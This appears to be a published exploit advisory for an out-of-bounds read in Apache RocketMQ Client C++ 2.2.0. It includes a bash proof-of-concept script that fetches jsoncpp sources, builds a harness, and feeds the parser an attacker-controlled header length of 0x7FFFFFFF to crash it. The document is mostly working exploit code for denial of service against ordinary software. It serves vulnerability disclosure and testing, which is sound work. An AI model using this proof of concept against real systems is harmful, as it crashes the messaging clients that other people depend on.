Apache RocketMQ Client C++ 2.2.0 Out-of-Bounds Read

#!/usr/bin/env bash
#
#
# Apache RocketMQ Client C++ 2.2.0 (RemotingCommand::Decode) Out-of-Bounds Read
#
#
# Vendor: The Apache Software Foundation
# Product web page: https://rocketmq.apache.org
# Affected version: 2.2.0
#
# Summary: RocketMQ-Client-CPP is the C/C++ client of Apache RocketMQ, a distributed
# messaging and streaming platform with low latency, high performance and reliability,
# trillion-level capacity and flexible scalability.
#
# Desc: Apache RocketMQ Client C++ suffers from a remote out-of-bounds read vulnerability
# in its RemotingCommand decoder. The wire header length is used to compute a parse boundary
# without validating it against the actual received buffer size, so a malicious or MitM broker
# or nameserver can send a crafted frame that causes a large heap over-read. This allows a
# peer to crash the client (DoS).
#
# Tested on: Microsoft Windows 10 (x86-64)
#            jsoncpp 1.9.5
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2026-6032
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-6032
#
#
# 13.08.2026
#


set -u
HERE="$(cd "$(dirname "$0")" && pwd)"
CXX="${CXX:-g++}"; command -v "$CXX" >/dev/null 2>&1 || CXX=c++
command -v "$CXX" >/dev/null 2>&1 || { echo "[!] Need a C++ compiler (g++/c++)"; exit 1; }

W="$HERE/rmq_poc_build"; rm -rf "$W"; mkdir -p "$W/src/json" "$W/include/json"
JV="1.9.5"
B="https://raw.githubusercontent.com/open-source-parsers/jsoncpp/$JV"
echo "[*] Fetching real jsoncpp $JV sources ..."
for h in json.h json-forwards.h config.h forwards.h json_features.h value.h reader.h writer.h \
         assertions.h version.h allocator.h; do
  curl -fsSL "$B/include/json/$h" -o "$W/include/json/$h" 2>/dev/null
done
for c in json_reader.cpp json_value.cpp json_writer.cpp; do
  curl -fsSL "$B/src/lib_json/$c" -o "$W/src/$c" 2>/dev/null
done
curl -fsSL "$B/src/lib_json/json_tool.h" -o "$W/src/json_tool.h" 2>/dev/null
curl -fsSL "$B/src/lib_json/json_valueiterator.inl" -o "$W/src/json_valueiterator.inl" 2>/dev/null
[ -s "$W/src/json_reader.cpp" ] && [ -s "$W/include/json/json.h" ] || {
  echo "[!] jsoncpp download failed"; exit 1; }

echo "[*] Building raketa.cpp against the real jsoncpp Json::Reader ..."
"$CXX" -std=c++11 -O0 -g -w -I"$W/include" -I"$W/src" \
  "$HERE/raketa.cpp" "$W/src/json_reader.cpp" "$W/src/json_value.cpp" "$W/src/json_writer.cpp" \
  -o "$W/raketa" || { echo "[!] Build failed"; exit 1; }

echo "-----------------------------------------------------------------"
echo "[*] Running: real Json::Reader::parse over an attacker headLen=0x7FFFFFFF range"
echo "-----------------------------------------------------------------"
"$W/raketa"; rc=$?
echo "-----------------------------------------------------------------"
if [ $rc -eq 0 ]; then
  echo "[*] Parser returned without faulting on this run - re-run, or build with -fsanitize=address to"
  echo "    see the heap-buffer-overflow report instead of relying on the guard page."
else
  printf "[+] Crashed (exit/signal %d) inside real jsoncpp parse -> remote OOB read confirmed (CWE-125).\n" "$rc"
  echo "    POSIX: SIGSEGV (exit 139).  Windows: STATUS_ACCESS_VIOLATION 0xC0000005."
fi